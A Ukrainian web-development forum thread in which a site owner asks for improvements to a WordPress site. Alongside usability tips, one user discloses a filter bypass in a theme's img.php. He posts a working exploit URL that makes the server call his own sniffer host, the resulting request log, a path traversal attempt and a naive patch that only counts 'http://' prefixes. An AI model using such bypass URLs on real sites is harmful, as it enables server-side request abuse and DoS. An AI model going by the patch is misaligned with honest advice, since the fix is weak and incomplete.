Тема: Вдосконалити сайт
Є сайт http://mkukraine.com.ua (на разі лиш російська версія, далі добавиться українська)
Мене попросили покращити сайт без жодної конкретики, просто щоб було краще. Хто що може порадити в плані функціональності та зручності?
Ви не увійшли. Будь ласка, увійдіть або зареєструйтесь.
Ласкаво просимо вас на україномовний форум з програмування, веб-дизайну, SEO та всього пов'язаного з інтернетом та комп'ютерами.
Будемо вдячні, якщо ви поділитись посиланням на Replace.org.ua на інших ресурсах.
Для того щоб створювати теми та надсилати повідомлення вам потрібно Зареєструватись.
Український форум програмістів → Системи керування контентом → Вдосконалити сайт
Сторінки 1
Для відправлення відповіді ви повинні увійти або зареєструватися
Є сайт http://mkukraine.com.ua (на разі лиш російська версія, далі добавиться українська)
Мене попросили покращити сайт без жодної конкретики, просто щоб було краще. Хто що може порадити в плані функціональності та зручності?
може, потрібно перекласти сайт на українську мову
1. Зображення на півекрана (зверху) - від нього сумнівна користь.
2. Яка основна мета цього сайту - торгувати металом чи розповідати про колку горіхів? Відповідно змінюємо головну, поки що вона викликає дисонанс.
3. Заходимо на сторінку з описом якоїсь корисної штуки, а замовити просто так не вийде. Там треба велику і помітну кнопку "ХОЧУ ЦЮ ШТУКОВИНУ". Опціонально можна подумати про кошик.
4. Зате на цьому сайті є розділ "Заказ товара", в якому все це треба ввести руками. Дивне рішення.
5. Колонку "Изделия из металла" зробити помітншою, можна з випадаючими меню, розділ "Статті" викинути звідти.
6. Немає цін.
7. Категорія "Витая труба", сторінки "Как заработать на колке ореха" і "Витая труба".
Joker - про українську мову написав зверху
quez - дякую, дуже слушні та конструктивні зауваження
невеличка вразливість в img.php
http://mkukraine.com.ua/wp-content/themes/edmin-1.2.9/themify/img.php?src=http://mobilink.не-дійсний-домен/img/logo.php?http://mkukraine.com.ua/?435635774568Тут я обійшов фільтр та підключився до свого сервера (сніфер http://mobilink.не-дійсний-домен/img/l … ord=VTrim) через ваш 
А взагалі таку штуку можна використати для DoS атак від  IP вашого сервера.
Запис N35
IP адрес: 78.137.1.149 (Переглянути інформацію)
 Браузер (UserAgent): Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
 Рядок запиту: http://mkukraine.com.ua/?45777567
 Реферер: Немає
 Real IP: Немає
 Мова: 
 Тип запиту: GET
 Час запиту: 4 хвилини тому
 Заголовок Accept: */*
 Тип кодування: Немає
 Тип підключення: close
 Імя віддаленого хоста: Немає
 Порт користувача: 59215
Гео IP інформація 
 Код країни: UA
 Регіон: Черкасская область
 Населений пункт: Черкасы 
 Географічні координати: Широта - 49.42854º Довгота - 32.06207º
 Поштовий індекс: 18030
 Часовий пояс: +03:00
 Провайдер IP інформація 
 ОФ. назва провайдера в бд RIPE: McLaut-Invest LLC
 Назва російською: ООО "Маклаут-Инвест"
 Сайт провайдера: http://mclaut.com/
 Номер автономної системи провайдера: 25133
 Числове значення (iptolong) першої IP адреси мережі провайдера: 1317601280
 Числове значення (iptolong) останньої IP адреси мережі провайдера: 1317609471
 Мережа провайдера: 78.137.0.0
 Маска мережі провайдера: 19
Ну тут просто помилки
http://mkukraine.com.ua/wp-content/themes/edmin-1.2.9/themify/img.php?src=../../../../../невеличка вразливість в img.php
цей скрипт обрізає картинки. Тут нічого вдіяти не зможу, бо доведеться дуже багато чого змінювати
невеличка вразливість в img.php
цей скрипт обрізає картинки. Тут нічого вдіяти не зможу, бо доведеться дуже багато чого змінювати
Заборонить обхід:
if(substr_count($_GET['src'],'http://') > 1) 
{ 
exit('ERROR'); 
}Заборонить обхід:
Заборонив в скрипті img.php . Порадьте, як перевірити тепер роботу ?
Заборонить обхід:
Заборонив в скрипті img.php . Порадьте, як перевірити тепер роботу ?
Скиньте код,куди ви і як вставили (http://mkukraine.com.ua/wp-content/them … fy/img.php) саме цей?
Коли підлкючитись до скрипту так
/img.php?src=http://test.ru/test.php?http://vashdomen.com/test.phpВилетить помилка,перевірено. У вас помилка не вилетіла,значить кудись не туди вставили.
Поставив в кінець:
    
...
protected function debug($level, $msg){
        if(DEBUG_ON && $level <= DEBUG_LEVEL){
            $execTime = sprintf('%.6f', microtime(true) - $this->startTime);
            $tick = sprintf('%.6f', 0);
            if($this->lastBenchTime > 0){
                $tick = sprintf('%.6f', microtime(true) - $this->lastBenchTime);
            }
            $this->lastBenchTime = microtime(true);
            error_log("WordThumb Debug line " . __LINE__ . " [$execTime : $tick]: $msg");
        }
    }
}
if(substr_count($_GET['src'],'http://') > 1)
{
  exit('ERROR');
}тепер зверху
Результат:
http://mkukraine.com.ua/wp-content/them … ne.com.ua/
Як для вордпреса, то це достатньо хороша тема. Якщо потрібно вдосконалення, то треба переходити на якийсь фреймворк...
Як для вордпреса, то це достатньо хороша тема. Якщо потрібно вдосконалення, то треба переходити на якийсь фреймворк...
По вашому,сайт можна вдосконалити тільки з фреймворком?
karmeljuk написав:тепер зверху
Результат:
http://mkukraine.com.ua/wp-content/them … ne.com.ua/
Не зовсім розумію: це добре чи погано? І взагалі, як самому протестувати і що саме тестувати?
VTrim написав:karmeljuk написав:тепер зверху
Результат:
http://mkukraine.com.ua/wp-content/them … ne.com.ua/Не зовсім розумію: це добре чи погано? І взагалі, як самому протестувати і що саме тестувати?
Перечитайте 5й пост. Ця вразливість тепер закрита. Там стояв слабкий фільтр,який забороняв підключатись до лівого http серверу. Можна було піключати тільки http://вашсервер.com/,тобто тільки ваш хост,але якщо вводиш http://мійсервер.com/?http://вашсервер.com/ ,то фільтр на це не реагував,і відбувалось підключення вашого сервера до мого. Я заборонив вводити більше одного http://,тим самим закрив вразливість,при спробі ввести два,вилітає ERROR
оо, дякую. Де взагалі прочитати про захист WordPress ? В мене попросили ще один сайт перевірили на взломи
оо, дякую. Де взагалі прочитати про захист WordPress ? В мене попросили ще один сайт перевірили на взломи
Взагалі є різні багтрекери,хакерські сайти,де викладають вразливості,експлоіти.
Але цю помилку я знайшов сам.
Сторінки 1
Для відправлення відповіді ви повинні увійти або зареєструватися